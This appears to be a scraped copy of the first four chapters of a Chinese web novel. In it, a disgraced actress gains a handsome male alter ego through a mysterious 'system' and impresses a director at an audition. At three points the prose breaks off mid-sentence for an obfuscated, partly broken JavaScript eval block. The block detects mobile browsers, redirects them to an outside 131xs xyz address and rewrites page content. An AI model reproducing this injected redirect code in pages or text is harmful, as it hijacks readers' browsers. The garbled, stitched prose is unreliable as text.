《演戏用马甲不就行了》 1. 第 1 章 盛蹊在镜子里安静端详自己那张不够出色的脸的时候，听到隔壁房间，宁姐就在那直白地发火： “撤不下去你不知道赶紧发词条洗？粉丝呢？算了，多买几个营销号，都黑成这样了，再掉剧拿你的奖金来扣啊！” 助理唯唯诺诺地来说又有合作方来解约，虽然只是个小商务，但是对盛蹊现在被落井下石的现状来说，对方显然觉得很合适。 昏暗的房间里，盛蹊也拿起手机垂眸看了一眼，三个小时前发的解约声明，现在那个官方已经涨了一万多粉，对她这个咖位来说，算很快了。 宁姐还要再骂，盛蹊说：“算了，宁姐，我掉剧不是因为这些黑料。”她去试镜的时候导演亲口说的，这张脸太乏味，相较其他女演员不够出色。 盛蹊并不觉得荒唐，相反，她知道自己还有很多不足，毕业的时候老师就说过，她这张脸想动也是可以出来的，只是她觉得医美会影响她的表情发挥，坚决不肯动。 出道六年了，她也演过小小出圈的女配角色，被主演粉四处骂着一个配角想掀桌。但那些都不是盛蹊心中真正想要的。 她想演一个主角。不是前半段只能客串，后半段换给新晋的大热花来演，不是演一个人设扁平没有自己故事线的镶边角色，而是一个真正能够打动别人，也能让她感觉到演员这个职业身份意义的主角。 但她的脸实在是太平。盛蹊看着镜子，必须承认导演的话没错。 镜中的脸，五官尚可，也算精致，但中规中矩的杏眼让这双眼睛只能显得有故事，而不能像剧本里描述的那样，露出一双眼来就能让其他人惊为天人。 鹅蛋脸不方还略窄，可是和杏眼搭配在一起就让她少了少女的娇憨，多了几分天然的沉稳。 薄唇单看或许很好看，但是和那双“木木的”杏眼搭在一起，给人的第一感觉就是，像个沉稳中立的路人女配。 如果是正剧角色，愿意仔细描写一个心思沉稳，对剧情推波助澜作用不小的正面女配，娱乐圈或许还有她的一席之地。 可在古偶花现偶花都要爆了才能接到正剧的女配的市场下，她这张脸可以说一开始就难出头。 她打开门，宁姐脸色难看，看到她的表情，转开了视线。她知道宁姐恼火，也知道公司想逼她主动解约，但盛蹊不怪她。 老实说，那个时候如果不是宁姐愿意签她，也许她都不会有机会来这个娱乐圈虚耗这六年。她还记得宁姐当时和她说，你的眼睛会说话，我相信你能火。 现在六年过去了，她在圈里留下的只有一双仿佛会说话的眼睛。 盛蹊：“热搜还挂着吗？” 提起这个宁露就生气，她咬牙：“泄露现场试镜片段是违约的，他们这是违背职业道德！我之前就想找他们去说，去告他们……” 盛蹊看到助理很紧张地抱着平板，对她摇了摇头，示意她先回去吧，宁姐这她来应付：“要恶心我的又不是剧组，是周宇那边。” 她为人冷静克制，宁露曾经调侃过盛蹊很有镜头生物的职业操守，绝不瞎说不该说的，能让她说恶心两个字，该说只能是周宇他们太过分了。 助理哆哆嗦嗦地跑了，宁露这才在盛怒下再度开麦：“这群人是眼睛都瞎了吗！明明是周宇接不上你的戏，把两情相悦演成了被单方面骚扰，他居然还好意思说，他恪守职业操守，坚决杜绝圈内潜规则行为？” 在三年前，周宇还和盛蹊一样，只是镶边的男二！而且还是靠着和盛蹊那部剧男二女二的CP感，才小小飞升了一波。 结果这次他是主演，导演让他给盛蹊搭戏，他就不耐烦地演上了，盛蹊怎么努力表演小情侣间的逗趣，也挡不过周宇那肉眼可见的嫌弃冷淡。 这还不算，盛蹊的试镜没过也就罢了，今天传出另一部剧要换掉盛蹊这个女二的时候，他的团队竟然把试镜视频放出来，说盛蹊是在试镜中故意骚扰他！ 抛开人设，抛开自己不敬业不谈，这不就是耍流氓吗！他的粉丝还在各平台造谣，说盛蹊早就想倒贴，这次是有镜头记录才原形毕露了。 现在热搜下还有不少人在骂：女演员的名声都是让你这样的死绿茶给败坏的。看得盛蹊想笑。 娱乐圈的女演员还有名声吗？ 别说她自己了，兢兢业业演戏六年默默无闻，一朝和男演员搭戏被倒油就天下皆知，就她所知的很多很火也很敬业的女演员，都逃不过各种形式的谩骂。 只不过盛蹊是第一次亲身遭遇到，原来这些人这么恨女绿茶罢了。 宁露也很烧心。 偏偏周宇是白熊平台买股的大热小生，这部剧是平台的自己制作的高成本剧，他们是不会允许男主角塌房的，所以现在舆论一边倒，都在辱骂盛蹊戏多，蹭男演员，咖位不同要硬融了。 宁露在房间里骂了一天，嗓子都哑了，但是盛蹊理解她为什么无能为力。她的经纪公司也是个小公司，怎么能和白熊这种大平台相比呢。 而且就算按商业价值来看，一个常年不温不火的十八线小花，和冉冉升起的男流量，谁都知道选哪个。 盛蹊：“我知道，宁姐，你别着急，该解约的现在都解约了，我休息一段时间，挺好。” 她很冷静，之所以现在没提解经纪约的事，完全是因为知道，自己现在的情况，不允许宁露姐趁火打劫。 但是一个饱含争议的流量花还可能被别人押宝，一个因为倒贴男演员火上热搜第一的透明女配，能有什么机会呢？ 她要是公司，也会想解约的，只不过盛蹊积蓄不多，如果是被迫解约，她就没有付违约金的钱了，但现在盛蹊太累了，和宁露姐说了两句，就疲倦地劝宁露先回去了。 宁露欲言又止看了她两眼，狠狠心，走了。 盛蹊拿起手机下划热搜，骂她什么的都有，丑照黑截图更是满天飞，她看得面无波澜。 唯独在看到有人骂：这女的谁啊？作品没有，戏倒是挺多的时候，嘴角肌肉微微抽动一下，最后放下手机，盖住了眼睛。 ……她不甘心。 她真的不甘心。 回想起那部本来已经面上的剧，回想起那个她花了很多心思，甚至写了一万字人物小传的角色，她忽然生出一股情绪，甚至想和导演辩解，求情，想让他仍然把这个角色留给自己。 但是拿到手机时，她沉默了。 她心里知道，不用她可能是很多缘由。主演不愿意，预算不合适，资方有更想选的人……可是，她演戏这么多年，难道就要这样了吗？她这张脸，难道就真的注定没有一个合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085387|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适的主角角色？ 哪怕她有演技，哪怕她一直在苦心打磨…… 手机振动了一下。盛蹊低眸，眼神里浮现出怔愣。只见寻常的聊天对话框，变成了一个三维的立体投影。 投影里有两个按钮。 上面漂浮着一句：【你想拥有不一样的人生吗？】 左边的按钮写着：我就是我。 右边的按钮写着：世上有成千上万个我。 不知道哪里来的情绪，或许是长久以来的压抑，或许是对热搜查无此人的反抗，她选择右边成千上万，按了下去，下一秒，她感觉天旋地转。 一个冰冷的机械音在她脑子里说：【已捕捉本体执念中情绪最复杂的场景，对马甲加以投放。当前投放马甲所拥有可信度：10，马甲可维持时间：10个小时，请在10个小时内，为马甲营造真实可感的丰富人设，增加可信度，延长马甲维持时间。】 【马甲维持时间成功达到24小时，本体将绑定马甲系统，帮助本体获得不一样的人身。】 【倒计时：10小时，开始。】 话音刚落，盛蹊摇了摇脑袋，只感觉这晕眩和她为了贴近角色自己感受过的低血糖和中暑都不一样，是灵魂都被摇出了躯体似的。 然而她睁开眼，下一秒就愣住了。 她看到了镜子里的自己。 眼皮略薄的姣好丹凤眼，高挺的鼻梁，和微微抿着的淡淡薄唇，眼睫很密，像是BJD关节娃娃里花重金绘制的漂亮面庞一样。 皮肤略白，手指关节有一种嶙峋的感觉，但是身上温柔的气质又让人感觉他不是过分瘦削，只是颀长罢了。 是的，他。 这个系统所提及的“马甲”，是一位男性。而盛蹊也能在他头顶看到淡淡的倒计时字样，里面显示还有九个小时五十二分钟。 她这是遇到小说里常见的系统了吗？ 而且营造真实可感丰富的人设，又是什么意思？ 这个马甲有关的什么她都不知道，就算给她了她也未必能留得住。 这时旁边的一位女性，应该是工作人员，拿着矿泉水很紧张：“你没事吧？” 盛蹊摇了摇头，“没事。”说完话，她顿了顿。这具身体的音色很好，不过高也不过低，放缓了说话有一种语文课本里清润旁白音说话的感觉。 用古偶的话来说很有质感，像是古风剧里走出来的人。这个长相，这个条件，很适合演温柔男二，可她还不知道马甲在这里是干什么。 这个可信度又是…… 工作人员松了口气：“那就好，那个，不好意思，试镜片场人比较多，中暑确实我们考虑不周，这个藿香正气水，你拿着。” “试镜？”盛蹊嗓子还有点哑，她接过藿香正气水，总觉得有点不真实。她的戏刚没了，马甲这边又在试镜了吗？ 工作人员：“对，你是不是怕快轮到你了？我问一下。”她拿出手机，看到同事叫号了，忙道：“五十六号快完了，快到你了，那你要不要……” 盛蹊还没反应过来，已经重重点头。 反应过来，她摸了摸自己的脸，有点恍惚。五十七号。 七刚好是她的幸运数字，那么，这个横空出现的马甲机会，也会是她的幸运之一吗？ 2. 第 2 章 跟着另一位工作人员去向单独试镜的小房间的路上，盛蹊又点击了那个只有她能看得见的倒计时，感觉到一阵熟悉的晕眩后，她捂住额头。 一大堆莫名的感知涌入她的脑海，不知怎地，她也有点理解那个系统给出的信息的意思了。 首先，马甲和这个世界都是真实存在的，甚至可以说，这个世界就是她所在的那个世界，而马甲也确有其人，有自己的身份，相貌，但除此之外，其他的兴趣，性格，习惯等，都是一片空白。 这些空白，就是需要其他人揣测，从而脑补出来的关于她这个马甲的人设的部分，也就是，可信度。 简而言之，她想马甲成为什么样的人，首先需要别人相信，她马甲是个什么样的人。 其次，这个马甲只是一个考验，考验通过后，这个马甲也可以留下来，但仍然受到维持时间的限制，维持时间结束，她仍然没有可信度，马甲不能再出现，同样等同于没有作用。 日后她也有可能会遇到其他系统投放的马甲，但同样需要她根据马甲所处环境，努力去营造马甲人设的真实感，让他变得像一个活人。 不同马甲之间的可信度不能通用，但每个都和这个第一个马甲一样，具有一个初始可信度，也就是十点。 盛蹊对引路的工作人员点头，轻声说了声“谢谢”的时候，留意到，宋寅马甲的可信度上升了一点，可信度倾向那里显示：有礼貌。 原来就是这个意思吗？盛蹊若有所思。 试镜的房间门半掩着，她回忆着这次试镜的基本信息，伸手敲了敲门，同时忖度这个马甲适合运用的人设： 脸好看，但是没有经纪人陪同，应该是个新人，受过良好的教育，家境也不错，因此性格很好，温柔，显得比较内敛，会想进娱乐圈演戏是因为…… 试镜间的灯很亮，晃了一下盛蹊的眼睛。同时一个声音打断了盛蹊的思绪，让她径直坠入宋寅这个人设里。 “五十七号是吧？做个自我介绍。” 殷玉莲抬了个头，又继续去看个人资料，看到照片的时候点了下头，不错，和本人差别不大，没P，看脸的流畅度应该也是没动过，个子也还行。 她再次抬头，着重考察的是这个男生的仪态：刚刚看资料没印象，现在有些恍然，主要是看到了男生的步态。 是学舞蹈的？ 身段很柔韧，脚步也很轻，不像一些刚入行的新人一样，走起路来左摇右晃的，体态也不好，这个男生一看就是仔细练过的，个子很高，步伐匀称，目光清正温和，声音也好听。 不愧是舞蹈专业的学生。 【可信度+3。当前可信度偏向：体态优秀。】 宋寅：“各位老师好，我叫宋寅，毕业于宁城电影学院舞蹈系，我这次面试的角色是青城。” 话音刚落，殷玉莲皱了一下眉。 旁边的副导演插话：“你这个形象，面试青城不合适吧？看着年纪比较轻，气质也比较偏温和，面试李若白才差不多。” 有人小声：“陈导，李若白已经定了，今天面的就是青城和和尚度缘。” 也有人不遮不掩，随意翻看了一下资料，看到父母职业那栏啧了一啧：“青城虽然是有些混不吝吧，但是看这小同学也未必演不出来，可以，让他试试。” 搭戏的配角正要上来，殷玉莲突然说：“你演一个李若白拒绝女主那段试试。” 试镜间里突然安静了，其他人大气不敢出，之前啧的那个虽然有些不满，但也没说什么，而是抱着胳膊靠着椅背看。 李若白选了连拾，他知道殷玉莲不满意，可总得让她试试，她才知道，李若白这个角色不是这么好定的。 宋寅没有受宠若惊，也没有其他人想象的慌乱，只是看着试镜片段，略略垂眸思考了一下，然后就对试镜负责人那一排，主要是殷玉莲，点了下头：“谢谢导演，我准备好了。” 殷玉莲面色不变。 虽然她是感觉他的气质有点符合李若白，但她也不是……等等！殷玉莲看到宋寅的变化，忽然坐直了些。 盛蹊也能看到可信度在疯狂变化，只是因为再多可信度都只是来源于面前几个人的，所以显得不多罢了，但是没关系。盛蹊在进来后就决定好了自己要做什么了。 男生站在空旷的试镜场地中央，手里拿着试镜剧本，眼皮略薄的丹凤眼轻轻抬起，没有急着开口，而是凝神注视了对面一会儿。 仿佛他在耐心等对面反应，或者是很习惯这样沉默地面对旁人站着似的。 过了一会儿，他轻轻一弯唇，众人就感觉到了：他在演古装发冠和长袍的那种束缚感。 古装演员总有种误区：古人仪态好是因为他们接受了良好的教育，但实际上盛蹊面过无数个古装剧组，她很清楚，古人的四方步仪态，还有举手投足的轻缓闲适，很大一部分就是日常装束带来的。 现代人觉得繁琐，动作轻浮，是因为习惯了轻快的服装，但古人不同，他们从小到大都是如此穿着，动作被衣服压慢的赏心悦目，刻在了骨子里。 这不是刻意表演的优雅，而是习惯成自然的圆融。当然了，她也不想让宋寅显得刻意，所以表现出束缚感和沉重感的同时，她加了一个小小地似乎要伸出手的动作。 剧本在这里，李若白和女主已经是很好的好友了，他们共同经历了许多阴谋，女主看出李若白温柔下的阴霾，时常刻意安慰他。 剧本里写阳光轻柔，盛蹊猜测，这也是李若白的心境。而这段被选择来考核，可能也有情绪转变考验的意味在。 果然，搭戏演员说词：“我有话想和你说。” 几乎是话音刚落，李若白眼睫颤了一下。为什么说是李若白，因为从这里开始，不仅仅是衣着仪态方面的沉浸，宋寅整个人也变成李若白了。 他没有很刻板地演那种：疑惑，到恍然，再到沉默的转变，而是很符合人物心境的，有所预感的轻轻讶异——因为李若白的个性，这种讶异被压在眼底，他并没有表现出来。 与此同时，他下意识要为她拂去落花的手却收回了。对，殷玉莲想起来了，在这短廊外，是有落花的，这只是剧本上情境设置的闲笔，但他却用两三个动作就表现出来了！ 这个带人进入情境的能力，太厉害了。 李若白却只是弯唇，他嘴角的弧度没有变，甚至没有下落或者扬起，眼神也没有什么变化，只是某一种情绪稍稍复杂了些。 等他台词说完，他们才知道那情绪是什么—— “你想和我说什么呢？” 这个轻轻跟上的“呢”字，正好恰到好处地表现了李若白对接下来要发生什么的毫不意外和情绪复杂。 是惋惜。或许还有几分憧憬，也许还有几分遗憾吧。可是对李若白的人设来说，他是不可能答应的。 因为他已经决定，和青城他们一起前去对抗外敌，而且无论发生什么，都不把女主给牵扯进来了。可是对女主的感情是例外的。 工作人员：“我想和你一起去迎接任玉回来……” “不。” 李若白轻轻说出这个字，他们仿佛能看到对面虚化的女主都愣了一下，紧接着工作人员的念白都带上一点情绪：“为什么？” 剧本里这段李若白是没有开口，“久久沉默”。 然而现场，穿着一身现代装装束，却已经有古人气质的宋寅只是握着剧本，他的视线先是低垂，仿佛接受不了女主直白视线的拷问，但紧接着，他又慢慢抬起头来。 这个情绪转变，他处理得很好，寄托在视线动作的转换里，进行得非常自然。 他微微笑，说着：“你和任兄的事，我怎好从中干涉。” 他说谎。 他表现得这么反常是因为，他还不想承认，他还希望他们之间，两人境况是像从前一样。 任玉死了，她心无所属，而他们心有灵犀，可女主心里摆明了还有任玉，他不去，是因为他知道自己就算快要死了，就算下不去手拆散任玉和女主，他也不想看着他们重归于好。 剧本说李若白温润如玉，心怀天下？真的是吗？可是占有是爱的特权，他就算是再温柔一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085388|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人，他再能接受不过任玉回来的事实，他也不会，放任自己成为这段感情的旁观者的。 这段的李若白，是在隐晦地放纵自己。 他唾弃自己的感情，不能接受任玉回来，可同时，他也在放纵自己。因为温柔只是李若白的底色，不是他的全部。 他这里想着的，是就算死了，我也不会在任玉面前，看着你奔向他的。我死了，我也不会否认，我心悦你。 试镜间里的人沉默了。 他们都看过连拾演这段，当时连拾的处理是，就算很伤心，但也温柔地保持了体面，甚至在女主追问他为什么的时候，缠绵悱恻地看着她。 当时殷玉莲虽然没有说话，但是闭眼的表情也是气狠了。可以说连拾这个处理和其他把温柔演成嫉妒的试镜演员，没什么两样，都是把李若白这个角色给演毁了。 这段是不能用劲儿的。换句话说，这里必须得收着。因为李若白这个角色的魅力，就在于这些要说未说的心思，以及他回避女主视线时的沉默，只有李若白收着，女主的疑惑不解才有迹可循。 不然你都把暗恋写在脸上了，女主演疑惑演的什么？傻子吗？ 同时这里的这段隐晦，也很吃人物诠释。李若白这个人物的内核是悲伤的，他心里知道喜欢的人绝不可能因为任玉死了而转而喜欢他人，可心里又盼望着，有朝一日有他的位置。 所以他的沉默不是示弱，相反，这是一种示威。他不是对女主示威，而是对瞧出端倪，所以让女主来找李若白的任玉示威。 因为，他不可能就这样放下这段感情，祝他们百年好合。这段戏的张力就在这里。 明知你们天成眷属，但仍不愿祝福。 殷玉莲把笔放下，让宋寅留个电话。 同时系统提示，可信度达到24，维持24个小时的任务完成。 这段戏能达到这样的效果，盛蹊是有预料的。 她试镜过那么多次，早就知道，什么样的角色是不好找人演但资本非要自己的人去演的了，这部名叫《春江花月夜》的小说改编的电视剧，李若白是戏份第二重的男配，这个角色就不可能由一个小新人来演。 连她原本要试镜的青城，也不是可以随意拿来给新人的角色，可也绝对不到劳烦业内闻名的殷玉莲导演亲自来选，那么是为什么，殷玉莲会亲自来呢。 盛蹊心里只有一个猜测，她也不知道是不是对的，可是赌对了，她的马甲就有戏可演了，她也有戏可演了。 这个猜测就是：殷玉莲有一定选角权，可以反抗资本，但她找不到更好的人。因为找不到，却不甘心，所以她来其他角色的面试现场，看看能不能捞到一两个好点的新人了。 这种境况，在现在的娱乐圈里，说实话挺正常的，连盛蹊也没想到，殷玉莲都有那么多部成功的电视剧了，还会亲自来选人，但是没关系，她能来就是她的机会！ 所以宋寅刚刚介绍时只做了一件事，他看了殷玉莲一眼。就像课堂上准备好的学生，会看一眼老师，让老师生出提问的欲望一样，宋寅在那一刻表演的也是一个准备充分，可是，没有答题机会的学生。 所以，殷玉莲提问了。 而“李若白”出现了。 李若白这个角色，系统给的试镜信息里只有基本介绍，他是一部女频小说里的男配，同时也是人气很高的经典角色之一。 那么作为男配，他为什么会在这段拒绝女主，受到无数读者喜爱，这段甚至被作为考核试镜的片段之一呢？ 盛蹊猜测，不仅是因为这几句简单对话背后，透露出的，李若白、任玉和女主三人间的关系，还因为这段的一个突出的作用：体现李若白的人设。 盛蹊并没有看过这部小说，她对李若白的人设理解，也仅限于基本信息那八个字：温润如玉，守成持正。 可殷玉莲给出的考题，让李若白这个人设具象化了，也让副导演随口说出的，她和李若白比较贴合的随口之言具象化了。 气质贴合。 但是内核，是要演员自己去体会，创造的。 3. 第 3 章 试镜完从小房间出来，盛蹊还有点没回过神来，她有太久没有经历过这样，可以全身心演绎一个角色的时刻，对她来说，代入男性角色虽然有些困难，可也比去丰满一个空洞同性角色的经历好得多。 尤其是很多时候你想让她丰满，导演却不允许。 男生垂下了眼睫，似乎有些想苦笑，但是嘴角微动后，却是把细微的神情波动压下去，然后对之前带他来的工作人员鞠躬说：“谢谢。” 不知道为什么，刚刚进去忘了，现在想补上。 工作人员显然有些惊讶，还有些受宠若惊，盛蹊看到可信度偏向那里飘出“人好好”的字样，却没有心情去思考绑定马甲系统是个什么流程了。 她意识到她现在在宋寅身体里，而考验结束了，她并没有离开，可信度之前也有达到24，所以可以维持24个小时的字样。 所以是1可信度可维持1个小时？她现在用着宋寅的身份，却不能把这24可信度用完，因为她如果用完了，就不能再以宋寅身份出现，也就无法收集可信度了。 试镜完，她的理智也回来了，盛蹊接着弄懂了很多东西：可信度的第一用处就是让她有一个不为人知的身份，这个身份完全空白，待人书写，最重要的是，有那么多宝贵的机会。 盛蹊问了洗手间的位置，差点走进女厕，可是站在洗手间门口看着镜子里自己这张脸时，忽然无比有感触地感觉到，脸的优势有多大。 至少在她真的演出出圈配角之前，她从没接到过这么重要角色的试戏。盛蹊独自平复了一会儿，准备离开，却撞到了一群人，好几个戴口罩的，簇拥着一个男人过来。 盛蹊认得他，因为他就是今天让他上热搜的罪魁祸首周宇。 周宇也参演了这部戏？以他的咖位，是不会亲自来面试的。盛蹊不想直勾勾地盯着他瞧，然而低头和他们错过时却听到周宇厌烦地说声：“又不是选女主，一个男三，要我来干什么。” 盛蹊感觉凉风灌进她喉咙，她忽然惊觉，周宇就是这部戏的男主，怪不得他非要这个时候发那段试镜视频，《春江花月夜》的班底是殷玉莲何燕，这两个是娱乐圈S剧的常驻班底，他要拿下也是要费一些劲儿的。 可是周宇演技不行，这不是盛蹊酸，而是客观事实，所以为了剧的底盘，他就要牢牢笼络住他和女主CP带来的路人缘。 原来如此。 给她泼脏水，只是为了拆CP，更好地迎接下一个让他飞升的深情男主角色。 盛蹊有一瞬间都觉得这部戏没必要去了，有周宇这匹害群之马，《春江花月夜》就算剧情再好也会烂的，可是她又转念想到，现在她不是被他打得无还手之力的透明女配了，至少刚刚，她争取到一个可以碾压男主的男配机会。 宋寅在原地闭了闭眼，再睁开眼的时候，整个人的气质还是和之前一样，低调，完美地融入整个环境里，偶尔有路过的人看到，也只觉得，刚刚那个男生侧脸好好看，气质也很干净，但更多的就是记不住了。 盛蹊看到可信度缓慢上涨，从侧门离开了这个试镜的地方，再次用一个糊咖的身份在外面行走，她觉得神奇，同时也再次体会到这张脸给她带来的益处。 这张脸的回头率很高。 她正在盯着路边商店的镜子，忽然看到可信度掉了1点，而这时时间刚好过去1小时，算是验证了她的猜想。 盛蹊呼唤系统：【系统，我要怎么离开宋寅身份？】 【查询中，当前地点不具备安全私密特点，不建议强行离开，强行脱离可能会使人设可信度下降。】 所以是要找个安全的地方？ 盛蹊沉默不语。 她在周围转了一圈，最终找了一家青年旅舍，但要进去的时候发现宋寅身上没有手机，系统不再给她回应了，盛蹊能猜到，大概是因为她刚刚试镜的时候，没让人脑补出他对手机依赖性很强的感觉，所以他连手机都没有。 盛蹊踟蹰一会儿，走了进去，对正在玩手机的年轻前台轻声说：“不好意思……” 徐可欣从后面抬起头来，看到这张脸，愣了一下，然后迅速站起来，装作收拾了一下桌面：“哦，不好意思，请问你是要住店吗？” 她看他的样子，不像是没钱啊，可能是宁漂？ 面前的青年男性睫毛很长，闻言他沉静清澈的眸子看向她，看得徐可欣都有点不好意思了，但是青年犹豫一下，还是继续说：“我的手机没电了，我想请问，我能不能先在这充会电，再住店？” “哦哦，可以，你就在这充吧。”徐可欣把插了一堆线的插线板推上前，还拔了一个，然后偷偷看那个男生，心里感叹，哇塞，就算她知道附近是影视城，也很少见素颜这么好看的人诶。 不会遇到未来的明日新星了吧？也可能是主播？她忍不住想和姐妹八卦了，但是客人在，还是保持了基本素养。 盛蹊赌了一下摸口袋里能摸到手机，就算没有也可以表现出不知道手机被偷的样子，但是摸到后，她还是感觉很安心。 徐可欣很好心地把线借给了他，宋寅缓声：“谢谢。” 徐可欣坐下继续玩手机了，但是有点心不在焉的，过了几分钟，她看宋寅还站在这，忍不住搭话：“你，是来这旅游的嘛？” 影视城附近就是游客开放的景点，虽然一个人出来旅游的比较少，但是在年轻人里还是蛮正常的：“出去玩手机就是容易没电哦，帅哥你慢慢充，不着急的。” 宋寅对她笑了一下，虽然笑容很淡，但是徐可欣还是忍不住赶紧去摸手机了，姐妹说让她大胆拍一张让她愠怒，接着宋寅突然说：“你在看《惊梦》吗？” 他声音很好听，像是流动得很轻的泉水，徐可欣差点忘了听他在说啥，看到他目光落在她没息屏的平板上，哦了一声：“没有，看得无聊，我就没看了。” 剧情让人生气。 宋寅垂眸看了眼手机，把充电线和插线板推回到徐可欣面前：“谢谢，我充好了，麻烦你帮我开一间房吧。” “哦，好。” 宋寅走进了狭窄黑暗的楼梯，进入逼仄空间的一瞬间，盛蹊的眼睛适应了一下，她没和徐可欣说她也觉得那部电视剧的剧情挺无聊的。可是那是她第一部饰演的角色有名有姓，还能被记住的戏。 哪怕是骂名。 盛蹊想，她再也不要当无名无姓的配角了。 盛蹊以“宋寅”的身份留了下来，为了节省可信度，她就待在房间里，除了吃饭的时候基本上都切换回去，直到系统提醒她，宋寅收到了一条信息。 她要切换回去的时候，系统说：【宿主不查看一下马甲系统吗？】 盛蹊轻声：“我先要确保我拿到那个角色。” 如她所料，助理的话很简短，很官方，表示她入选了演员储备库，但是很抱歉，她没有面上青城这个角色，她来回看了几遍，又等了一回。 陌生号码打电话进来了，是殷玉莲：“是宋寅是吧？你明天过来一下，我给你争取了二面，剧本我让助理发你，你再看看，保持今天白天那个内容密度，李若白争取有点难，但演得好，他就是你的了。” 除了殷玉莲，其他人很难有这个自信。看来周宇的公司非要拿这个不合适的角色，殷玉莲也气得不轻。恼火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085389|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却又无能为力的时候，导演会在最大程度上坚持自己的审美。 这也是有些主创粉丝会骂配角掀桌的原因，都是一个导演拍的，主角被骂配角爆火，是导演的原因吗？必不可能，他们也知道撕导演会让自家正主掉饼。 那就让她看看，这次会不会有人骂她掀桌吧。 盛蹊打开剧本仔细看了起来。李若白这个角色，戏份不低，但是对于古偶剧本来说，属于锦上添花类型，也怪不得会定给了咖位一般的连拾。但连拾上一部戏也是男二爆火，要想争过他，她必须要有碾压性的优势。 否则连拾借这部男二戏就可以飞升男主了，周宇，也许也是她的咖位再难碰到了吧。因为不用再担心脸，盛蹊第一次没有敷面膜早睡，而是熬夜看剧本，模拟情态，联系台词重音，语气，找那种打动殷玉莲的李若白感觉。 第二天起来发现宋寅还是肤色白皙，脸上也没有一丝黑眼圈的痕迹，只是好像有些疲倦的时候，顿了一顿。 她没再收敛身上的独特气质。 前台徐可欣正打哈欠，准备伸个懒腰，看到宋寅从楼道里出来的时候动作立刻变了一下，然后看他的时间长了会儿。 宋寅和昨天有点不一样了，沉默寡言的感觉少了几分，眼神多了温煦和柔和，好像一夜之间积极了些：“早上好。” “哦哦早上好。”徐可欣立刻回过神来，他要走出去的时候她终于拿着手机鼓起勇气：“那个，我能拍一张照吗，我昨天和我朋友说，你长得很像某个明星，就是那个，那个……” 宋寅：“好，谢谢。” 他礼貌地过来和她合影，徐可欣才发现他身高非常高，很奇怪，一般太高的男生不会给人温柔的感觉的，但她昨天就是觉得他好瘦啊，今天又……反正不一样。 宋寅说：“我的朋友在《惊梦》里有饰演，如果感兴趣的话，你可以看一看。” “嗯嗯嗯！”刚拍了照，徐可欣更坚定这应该是娱乐圈明日之星的想法了，上帝啊，他的皮肤真的好白，脸好小，而且镜头里都完全没有瑕疵，天生的明星脸！ 而且他还说他朋友，也就是说，他也有可能会去演戏咯？ 徐可欣兴奋了下，等宋寅走了，还是先编辑了一条自己可见的动态，暂时不公开，等确认宋寅真的出道了再让人关注，不然她就侵犯人家隐私了，但押宝押对了，她就是世界上最幸运的人！ 徐可欣幻想这位帅哥大爆，她就可以用这个做账号了，可惜不知道帅哥住多久，如果再多住会儿，她有没有机会要个签名？！ 宋寅打车到了试镜地点外面，可以看出来，这次应该是比较临时，也比较正式了，因为面试地点是在搭建到一半的剧组工作棚里。 这个戏里有不少新建的外景，而主演还没进组，现在只有剧组的道具组一些工作人员在筹备，之前引过路的工作人员发现他，眼睛一亮：“宋先生？这，这里。” 宋寅走了过去，和她打招呼。 “我叫程梦，导演她们就在这里面了，”程梦低声，“人挺多的，你到时候统一问个好。” 宋寅对她说：“谢谢。” “不客气不客气，嗯……面试加油？” 宋寅笑了一下，他轻声：“我会的。” 他敲门进去，里面满满当当，坐了三十多号人，其中有三分之一，是陪伴周宇、连拾，以及另外两位主演的工作人员。 看来是其他主演不同意。 但宋寅目光一垂，思绪落到其中一位女演员身上。昨天说女主没定，但今天女演员就来了，是因为之前没谈拢，但是可能要换男二，所以女主团队又来了？ 4. 第 4 章 何影璐不太愉快地皱眉注视着对面那两个人，看到总编剧何燕平淡的表情，心里无奈地叹了一声，暗骂这部戏的投资方不做人。 换一个周宇已经很让殷导生气了，这硬塞过来的男二是白熊自己平台制作剧爆火的男二，不管以后他们两个会不会撞赛道，但至少现在，周宇连拾利益是一致的。 资方把这两个人塞过来，是打算让他们联合对殷导形成反制吗？可是之前买殷导剧的，没几个敢这么压着殷导的，这么搞，下一部戏别想压价买到殷导的了。 但说是这样说，周宇不愿意换，连拾也不可能让自己掉饼，他都和粉丝透露好了，剩下一个没定下来的女主角，来了也起不到太大作用。 何影璐自己是制作公司这边的人，打不过白熊家大业大，可她也希望剧好啊，每部剧都像白熊这么搞，那她们这些承包拍摄的小公司还能活吗？ 资方投资、买了一部烂剧，拍拍屁股走了，害的可是她们这些好不容易积累起口碑的小公司！她们卖的剧卖不好，那…… 何影璐正胡思乱想，忽然那边殷导开口说：“来了。” 